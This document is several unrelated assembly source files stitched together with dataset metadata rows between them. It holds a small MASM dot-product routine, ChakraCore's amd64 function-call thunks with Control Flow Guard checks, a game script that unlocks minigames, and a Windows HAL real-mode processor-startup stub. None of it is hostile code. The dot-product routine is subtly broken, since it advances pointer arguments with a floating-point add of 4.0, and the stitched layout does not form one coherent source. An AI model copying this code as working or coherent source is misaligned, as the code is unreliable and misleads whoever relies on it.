;; codigo de outras rotinas
prodint PROC vectX: PTR REAL4, vectY: PTR REAL4, N:dword, res: PTR REAL4
xorps xmm2, xmm2
ciclo: xorps xmm7, xmm7
movss xmm7, real4 ptr [vectX]
mulss xmm7, real4 ptr [vectY]
addss xmm2, xmm7
addss vectX, 4.0
addss vectY, 4.0
dec N
.IF N != 0
jmp ciclo
.ENDIF
movss res, xmm2
ret
prodint ENDP
end
| 22.888889
| 72
| 0.666262
|
2fded75e90fbec4e0436f43f7fb383b6be542619
| 14,874
|
asm
|
Assembly
|
lib/Runtime/Library/amd64/JavascriptFunctionA.asm
|
Taritsyn/ChakraCore
|
b6042191545a823fcf9d53df2b09d160d5808f51
|
[
"MIT"
] | 8,664
|
2016-01-13T17:33:19.000Z
|
2019-05-06T19:55:36.000Z
|
lib/Runtime/Library/amd64/JavascriptFunctionA.asm
|
Taritsyn/ChakraCore
|
b6042191545a823fcf9d53df2b09d160d5808f51
|
[
"MIT"
] | 5,058
|
2016-01-13T17:57:02.000Z
|
2019-05-04T15:41:54.000Z
|
lib/Runtime/Library/amd64/JavascriptFunctionA.asm
|
Taritsyn/ChakraCore
|
b6042191545a823fcf9d53df2b09d160d5808f51
|
[
"MIT"
] | 1,367
|
2016-01-13T17:54:57.000Z
|
2019-04-29T18:16:27.000Z
|
;-------------------------------------------------------------------------------------------------------
; Copyright (C) Microsoft. All rights reserved.
; Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
;-------------------------------------------------------------------------------------------------------
include ksamd64.inc
_TEXT SEGMENT
extrn __chkstk: PROC
ifdef _CONTROL_FLOW_GUARD
extrn __guard_check_icall_fptr:QWORD
extrn __guard_dispatch_icall_fptr:QWORD
subttl "Control Flow Guard ICall Check Stub"
;++
;
; Routine Description:
;
; This routine is a stub that is called for the CFG icall check. Its
; function is to create a new stack frame for (*__guard_check_icall_fptr)
; which performs the actual indirect call check.
;
; N.B. A new stack frame is required since amd64_CallFunction requires the
; parameter home area of the icall check subroutine to be preserved.
; (The saved non-volatiles in amd64_CallFunction would overlap with
; the *guard_check_icall_fptr home parameter region.)
;
; N.B. The (*guard_check_icall_fptr) call is guaranteed to preserve rcx.
; This stub preserves that behavior, allowing callers to assume rcx
; is preserved across the call.
;
; Arguments:
;
; ICallTarget (rcx) - Supplies a pointer to a function to check.
;
; Implicit Arguments:
;
; (rsp+08h - rsp+30h) - Supplies the preserved home area.
;
; Return Value:
;
; None. Should the indirect call check fail, a fast fail event is raised.
;
;--
IcFrame struct
P1Home dq ? ; child function parameter home addresses
P2Home dq ? ;
P3Home dq ? ;
P4Home dq ? ;
Fill dq ? ;
IcFrame ends
NESTED_ENTRY amd64_CheckICall, _TEXT$00
alloc_stack (sizeof IcFrame) ; allocate stack frame
END_PROLOGUE
call [__guard_check_icall_fptr] ; verify that the call target is valid
add rsp, (sizeof IcFrame) ; deallocate stack frame
ret ; return to dispatch invoke
NESTED_END amd64_CheckICall, _TEXT$00
endif
align 16
amd64_CallFunction PROC FRAME
;;
;; Stack layout: A, B, C indicate what the stack looks like at specific
;; points in code.
;;
;; ----------------------------
;; argv
;; rbp + 48h ----------------------------
;; argc [r9] -\
;; rbp + 40h ---------------------------- |
;; callInfo [r8] |
;; rbp + 38h ---------------------------- -- argument register spill
;; entryPoint [rdx] |
;; rbp + 30h ---------------------------- |
;; function [rcx] -/
;; rbp + 28h ----------------------------
;; return address
;; rbp + 20h ---------------------------- <-- (A) function entry
;; rbx -\
;; rbp + 18h ---------------------------- |
;; rsi |
;; rbp + 10h ---------------------------- -- saved non-volatile registers
;; rdi |
;; rbp + 08h ---------------------------- |
;; rbp -/
;; rbp ---------------------------- <-- (B) frame pointer established
;; padding
;; ----------------------------
;; ~ ~
;; ~ (argc&1)?(argc+1):argc ~
;; ~ QWORDS ~ <-- argv[2] ... argv[N - 1] + padding
;; ~ ~
;; ----------------------------
;; argv[1] [r9] -\
;; ---------------------------- |
;; argv[0] [r8] |
;; ---------------------------- -- argument register spill
;; callInfo [rdx] |
;; ---------------------------- |
;; function [rcx] -/
;; ---------------------------- <-- (C) callsite
;;
;; (A) function entry
push rbx
.pushreg rbx
push rsi
.pushreg rsi
push rdi
.pushreg rdi
push rbp
.pushreg rbp
lea rbp, [rsp]
.setframe rbp, 0
.endprolog
;; (B) frame pointer established
;; The first 4 QWORD args are passed in rcx, rdx, r8 and r9. rcx = function *,
;; rdx = CallInfo.
;; upon entry rcx contains function *.
sub rsp, 8h
;; rbx = argc
mov rbx, r9
;; save entry point (rdx) and move CallInfo (r8) into rdx.
mov rax, rdx
mov rdx, r8
mov r10, 0
;; rsi = argv
mov rsi, qword ptr [rsp + 50h]
;; If argc > 2 then r8 = argv[0] and r9 = argv[1]. The rest are copied onto
;; the stack.
cmp rbx, 2h
jg setup_stack_and_reg_args
je setup_reg_args_2
cmp rbx, 1h
je setup_reg_args_1
jmp setup_args_done
;; *args labels handle copying the script args (argv) into either registers or the stack.
setup_stack_and_reg_args:
;; calculate the number of args to be copied onto the stack. Adjust the allocation
;; size so that the stack pointer is a multiple of 10h at the callsite.
mov r10, rbx
and r10, -2
;; Calculate the size of stack to be allocated in bytes and allocate.
push rax
mov rax, r10
shl rax, 3h
;; Call __chkstk to ensure the stack is extended properly. It expects size in rax.
cmp rax, 1000h
jl stack_alloc
call __chkstk
stack_alloc:
mov r10, rax
pop rax
sub rsp, r10
;; (rsp[0]..rsp[N - 3]) = (argv[2]..argv[N - 1])
mov r10, rbx ; r10 = N - 1 i.e. (argc - 2) - 1
sub r10, 3h
shl r10, 3h
lea r11, [rsi + 10h]
copy_stack_args:
mov rdi, qword ptr [r11 + r10]
mov qword ptr [rsp + r10], rdi
sub r10, 8h
cmp r10, 0
jge copy_stack_args
;; The first two script args are passed in r8 and r9.
setup_reg_args_2:
mov r9, qword ptr [rsi + 8h]
setup_reg_args_1:
mov r8, qword ptr [rsi]
setup_args_done:
;; allocate args register spill
sub rsp, 20h
ifdef _CONTROL_FLOW_GUARD
call [__guard_dispatch_icall_fptr]
else
;; (C) callsite
call rax
endif
done:
mov rsp, rbp
pop rbp
pop rdi
pop rsi
pop rbx
ret
amd64_CallFunction ENDP
ifdef _ENABLE_DYNAMIC_THUNKS
extrn ?GetStackSizeForAsmJsUnboxing@Js@@YAHPEAVScriptFunction@1@@Z: PROC
extrn ?GetArgsSizesArray@Js@@YAPEAIPEAVScriptFunction@1@@Z : PROC
; int64 JavascriptFunction::CallAsmJsFunction<int64>(RecyclableObject * function, JavascriptMethod entryPoint, Var * argv, uint argsSize, byte* reg)
align 16
??$CallAsmJsFunction@_J@JavascriptFunction@Js@@SA_JPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z PROC FRAME
.setframe rbp, 0
.endprolog
rex_jmp_reg ??$CallAsmJsFunction@H@JavascriptFunction@Js@@SAHPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z
??$CallAsmJsFunction@_J@JavascriptFunction@Js@@SA_JPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z ENDP
; float JavascriptFunction::CallAsmJsFunction<float>(RecyclableObject * function, JavascriptMethod entryPoint, Var * argv, uint argsSize, byte* reg)
align 16
??$CallAsmJsFunction@N@JavascriptFunction@Js@@SANPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z PROC FRAME
.setframe rbp, 0
.endprolog
rex_jmp_reg ??$CallAsmJsFunction@H@JavascriptFunction@Js@@SAHPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z
??$CallAsmJsFunction@N@JavascriptFunction@Js@@SANPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z ENDP
; double JavascriptFunction::CallAsmJsFunction<double>(RecyclableObject * function, JavascriptMethod entryPoint, Var * argv, uint argsSize, byte* reg)
align 16
??$CallAsmJsFunction@M@JavascriptFunction@Js@@SAMPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z PROC FRAME
.setframe rbp, 0
.endprolog
rex_jmp_reg ??$CallAsmJsFunction@H@JavascriptFunction@Js@@SAHPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z
??$CallAsmJsFunction@M@JavascriptFunction@Js@@SAMPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z ENDP
; __m128 JavascriptFunction::CallAsmJsFunction<__m128>(RecyclableObject * function, JavascriptMethod entryPoint, Var * argv, uint argsSize, byte* reg)
align 16
??$CallAsmJsFunction@T__m128@@@JavascriptFunction@Js@@SA?AT__m128@@PEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z PROC FRAME
.setframe rbp, 0
.endprolog
rex_jmp_reg ??$CallAsmJsFunction@H@JavascriptFunction@Js@@SAHPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z
??$CallAsmJsFunction@T__m128@@@JavascriptFunction@Js@@SA?AT__m128@@PEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z ENDP
; int JavascriptFunction::CallAsmJsFunction<int>(RecyclableObject * function, JavascriptMethod entryPoint, Var * argv, uint argsSize, byte* reg)
align 16
??$CallAsmJsFunction@H@JavascriptFunction@Js@@SAHPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z PROC FRAME
; save arguments to stack for interpreter
mov qword ptr [rsp + 8h], rcx ;; function
mov qword ptr [rsp + 10h], rdx ;; entrypoint
mov qword ptr [rsp + 18h], r8 ;; argv
mov qword ptr [rsp + 20h], r9 ;; argsSize
;; reg is at [rsp + 28h]
; push rbx unused
; .pushreg rbx
push rsi
.pushreg rsi
push rdi
.pushreg rdi
; push r12 unused
; .pushreg r12
; push r13 unused
; .pushreg r13
push rbp
.pushreg rbp
mov rbp, rsp
.setframe rbp, 0
.endprolog
and rsp, -16 ; Make sure the stack is 16 bytes aligned
lea rax, [r9 + 16] ; add 16 bytes to argsSize to account for ScriptFunction and stay 16 bytes aligned
; Check if we need to commit more stack
cmp rax, 2000h ; x64 has 2 guard pages
jl stack_alloc
call __chkstk
stack_alloc:
sub rsp, rax
;; Make sure ScriptFunction* is first argument
mov qword ptr [r8], rcx
;; copy all args to the new stack frame.
;; Move argSize in rcx for rep movs
mov rcx, rax
shr rcx, 3 ;; rcx = rcx / 8 for qword size mov
mov rsi, r8 ;; rsi = argv
mov rdi, rsp ;; rdi = arguments destination
rep movsq
;; Move entrypoint in rax
mov rax, rdx
;; Load 4 first arguments in registers
;; First argument (aka ScriptFunction*)
mov rcx, qword ptr [rsp]
mov r10, [rbp + 40h] ;; r10 = byte* reg
;; Second argument
mov rdx, qword ptr [r10]
movaps xmm1, xmmword ptr [r10]
;; Third argument
mov r8, qword ptr [r10 + 10h]
movaps xmm2, xmmword ptr [r10 + 10h]
;; Fourth argument
mov r9, qword ptr [r10 + 20h]
movaps xmm3, xmmword ptr [r10 + 20h]
ifdef _CONTROL_FLOW_GUARD
call [__guard_dispatch_icall_fptr]
else
call rax
endif
lea rsp, [rbp]
pop rbp
; pop r13
; pop r12
pop rdi
pop rsi
; pop rbx
ret
??$CallAsmJsFunction@H@JavascriptFunction@Js@@SAHPEAVRecyclableObject@1@P6APEAX0UCallInfo@1@ZZPEAPEAXIPEAE@Z ENDP
endif ;; _ENABLE_DYNAMIC_THUNKS
extrn ?DeferredParse@JavascriptFunction@Js@@SAP6APEAXPEAVRecyclableObject@2@UCallInfo@2@ZZPEAPEAVScriptFunction@2@@Z : PROC
align 16
?DeferredParsingThunk@JavascriptFunction@Js@@SAPEAXPEAVRecyclableObject@2@UCallInfo@2@ZZ PROC FRAME
;; save volatile registers
mov qword ptr [rsp + 8h], rcx
mov qword ptr [rsp + 10h], rdx
mov qword ptr [rsp + 18h], r8
mov qword ptr [rsp + 20h], r9
push rbp
.pushreg rbp
lea rbp, [rsp]
.setframe rbp, 0
.endprolog
sub rsp, 20h
lea rcx, [rsp + 30h]
call ?DeferredParse@JavascriptFunction@Js@@SAP6APEAXPEAVRecyclableObject@2@UCallInfo@2@ZZPEAPEAVScriptFunction@2@@Z
ifdef _CONTROL_FLOW_GUARD
mov rcx, rax ; __guard_check_icall_fptr requires the call target in rcx.
call [__guard_check_icall_fptr] ; verify that the call target is valid
mov rax, rcx ;restore call target
endif
add rsp, 20h
lea rsp, [rbp]
pop rbp
;; restore volatile registers
mov rcx, qword ptr [rsp + 8h]
mov rdx, qword ptr [rsp + 10h]
mov r8, qword ptr [rsp + 18h]
mov r9, qword ptr [rsp + 20h]
rex_jmp_reg rax
?DeferredParsingThunk@JavascriptFunction@Js@@SAPEAXPEAVRecyclableObject@2@UCallInfo@2@ZZ ENDP
extrn ?DeferredDeserialize@JavascriptFunction@Js@@SAP6APEAXPEAVRecyclableObject@2@UCallInfo@2@ZZPEAVScriptFunction@2@@Z : PROC
align 16
?DeferredDeserializeThunk@JavascriptFunction@Js@@SAPEAXPEAVRecyclableObject@2@UCallInfo@2@ZZ PROC FRAME
;; save volatile registers
mov qword ptr [rsp + 8h], rcx
mov qword ptr [rsp + 10h], rdx
mov qword ptr [rsp + 18h], r8
mov qword ptr [rsp + 20h], r9
push rbp
.pushreg rbp
lea rbp, [rsp]
.setframe rbp, 0
.endprolog
sub rsp, 20h
call ?DeferredDeserialize@JavascriptFunction@Js@@SAP6APEAXPEAVRecyclableObject@2@UCallInfo@2@ZZPEAVScriptFunction@2@@Z
ifdef _CONTROL_FLOW_GUARD
mov rcx, rax ; __guard_check_icall_fptr requires the call target in rcx.
call [__guard_check_icall_fptr] ; verify that the call target is valid
mov rax, rcx ;restore call target
endif
add rsp, 20h
lea rsp, [rbp]
pop rbp
;; restore volatile registers
mov rcx, qword ptr [rsp + 8h]
mov rdx, qword ptr [rsp + 10h]
mov r8, qword ptr [rsp + 18h]
mov r9, qword ptr [rsp + 20h]
rex_jmp_reg rax
?DeferredDeserializeThunk@JavascriptFunction@Js@@SAPEAXPEAVRecyclableObject@2@UCallInfo@2@ZZ ENDP
align 16
BreakSpeculation PROC
cmp rcx, rcx
cmove rax, rcx
ret
BreakSpeculation ENDP
_TEXT ENDS
end
| 35.163121
| 150
| 0.569383
|
9381a03d453fda321adc258dc9753a7be1f7a89d
| 7,693
|
asm
|
Assembly
|
asm/scriptcode/minigameunlock.asm
|
Dimedime-d/kptranslation
|
62ba88ac2e279ac8bf0539e61a8d5764bdc60c5a
|
[
"CC-BY-4.0"
] | 3
|
2020-10-25T07:13:17.000Z
|
2021-11-02T15:47:14.000Z
|
asm/scriptcode/minigameunlock.asm
|
Dimedime-d/kptranslation
|
62ba88ac2e279ac8bf0539e61a8d5764bdc60c5a
|
[
"CC-BY-4.0"
] | 5
|
2021-03-01T02:45:02.000Z
|
2021-12-15T03:33:28.000Z
|
asm/scriptcode/minigameunlock.asm
|
Dimedime-d/kptranslation
|
62ba88ac2e279ac8bf0539e61a8d5764bdc60c5a
|
[
"CC-BY-4.0"
] | null | null | null |
.byte 0x02,0x00,0x01,0x00
.word @loc0
.byte 0x07,0xFF,0xFF,0x7F
.byte 0xFF,0xFF,0xFF,0xFF
.byte 0x0E,0x00,0x01,0x00
.byte 0x54,0x00,0x00,0x00
.byte 0x02,0x00,0x02,0x00
.word @loc1
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x00,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigame0
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc1:
.byte 0x02,0x00,0x02,0x00
.word @loc2
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x01,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigame1
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc2:
.byte 0x02,0x00,0x02,0x00
.word @loc3
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x02,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigame2
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc3:
.byte 0x02,0x00,0x02,0x00
.word @loc4
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x03,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigame3
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc4:
.byte 0x02,0x00,0x02,0x00
.word @loc5
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x04,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigame4
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc5:
.byte 0x02,0x00,0x02,0x00
.word @loc6
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x05,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigame5
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc6:
.byte 0x02,0x00,0x02,0x00
.word @loc7
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x06,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigame6
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc7:
.byte 0x02,0x00,0x02,0x00
.word @loc8
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x07,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigame7
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc8:
.byte 0x02,0x00,0x02,0x00
.word @loc9
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x08,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigame8
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc9:
.byte 0x02,0x00,0x02,0x00
.word @loc10
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x09,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigame9
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc10:
.byte 0x02,0x00,0x02,0x00
.word @loc11
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x0A,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigameA
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc11:
.byte 0x02,0x00,0x02,0x00
.word @loc12
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x0B,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigameB
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc12:
.byte 0x02,0x00,0x02,0x00
.word @loc13
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x0C,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigameC
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc13:
.byte 0x02,0x00,0x02,0x00
.word @loc14
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x0D,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigameD
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc14:
.byte 0x02,0x00,0x02,0x00
.word @loc15
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x0E,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigameE
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
.byte 0x02,0x00,0x00,0x00
.word 0x080AC47C
@loc15:
.byte 0x02,0x00,0x02,0x00
.word 0x080AC47C
.byte 0x07,0xFF,0xFF,0x7F
.byte 0x0F,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x12,0xFF,0xFF,0x7F
.byte 0x10,0x00,0x00,0x00
.byte 0x06,0x00,0x00,0x00
.byte 0x13,0xFF,0xFF,0x7F
.byte 0x95,0x00,0x00,0x00
.byte 0x0A,0x00,0x14,0x00
.byte 0x18,0xFF,0xFF,0x7F
S_unlockMinigame s_minigameF
.byte 0x02,0x00,0x09,0x00
.word 0x080AC598
.byte 0x05,0x00,0x02,0x00
.byte 0x00,0x00,0x00,0x00
@loc0:
.byte 0x03,0x00,0x00,0x00
| 23.670769
| 28
| 0.77785
|
b04f1af8d447af7e739a13ae2871917f3357eb5e
| 3,852
|
asm
|
Assembly
|
base/hals/halacpi/amd64/xmstub.asm
|
npocmaka/Windows-Server-2003
|
5c6fe3db626b63a384230a1aa6b92ac416b0765f
|
[
"Unlicense"
] | 17
|
2020-11-13T13:42:52.000Z
|
2021-09-16T09:13:13.000Z
|
base/hals/halacpi/amd64/xmstub.asm
|
sancho1952007/Windows-Server-2003
|
5c6fe3db626b63a384230a1aa6b92ac416b0765f
|
[
"Unlicense"
] | 2
|
2020-10-19T08:02:06.000Z
|
2020-10-19T08:23:18.000Z
|
base/hals/halacpi/amd64/xmstub.asm
|
sancho1952007/Windows-Server-2003
|
5c6fe3db626b63a384230a1aa6b92ac416b0765f
|
[
"Unlicense"
] | 14
|
2020-11-14T09:43:20.000Z
|
2021-08-28T08:59:57.000Z
|
title "Amd64 startup"
;++
;
; Copyright (c) 2001 Microsoft Corporation
;
; Module Name:
;
; xmstub.asm
;
; Abstract:
;
; This module implements the code that starts secondary processors. This
; module is unique in that it is assembled by the i386 32-bit assembler,
; because the Amd64 assembler does not assemble 16- or 32-bit x86 code.
;
; The .obj file that is the result of assembling this module is fed
; through a tool, DMPOBJ.EXE, that stores the contents of the relevant
; section and generates a c file (startup.c) that can be included in the
; 64-bit compilation process.
;
; Author:
;
; Forrest Foltz (forrestf) March 6, 2001
;
; Environment:
;
; Kernel mode only.
;
; Revision History:
;
;--
.586p
include ksamd64.inc
RMSTUB SEGMENT DWORD PUBLIC USE16 'CODE'
;++
;
; VOID
; StartPx_RMStub
;
; When a new processor is started, it starts in real mode and is sent to a
; copy of this function which resides in low (<1MB) memory.
;
; When this function is complete, it jumps to StartPx_PMStub.
;
; At this point, cs will contain (start block physical address) / 16,
; and ip == 0.
;
;
;
; Arguments:
; None
;
; Return Value:
; Does not return, jumps to StartPx_PMStub
;--
StartPx_RMStub:
jmp spr10 ; skip the processor start block
db (ProcessorStartBlockLength - ($ - StartPx_RMStub)) dup (0)
spr10: cli
sub eax, eax
mov ax, cs
mov ds, ax
;
; Load edi with the linear address of the processor start block.
;
shl eax, 4
mov edi, eax
;
; Load the 32-bit GDT.
;
db 066h
lgdt fword ptr ds:[PsbGdt32]
;
; Enter protected mode. Note paging is still off.
;
mov eax, cr0
or eax, CR0_PE OR CR0_ET
mov cr0, eax
;
; Load ds
;
mov ax, 020h
mov ds, ax
;
; Load CS by performing a far jump to the protected mode target
; address
;
db 066h
jmp DWORD PTR ds:[edi + PsbPmTarget]
RMSTUB ENDS
;++
;
; VOID
; StartPx_PMStub
;
; When a new processor is started, it starts in real mode and is sent to a
; copy of this function which resides in low (<1MB) memory.
;
; When this function is complete, it jumps to StartPx_PMStub.
;
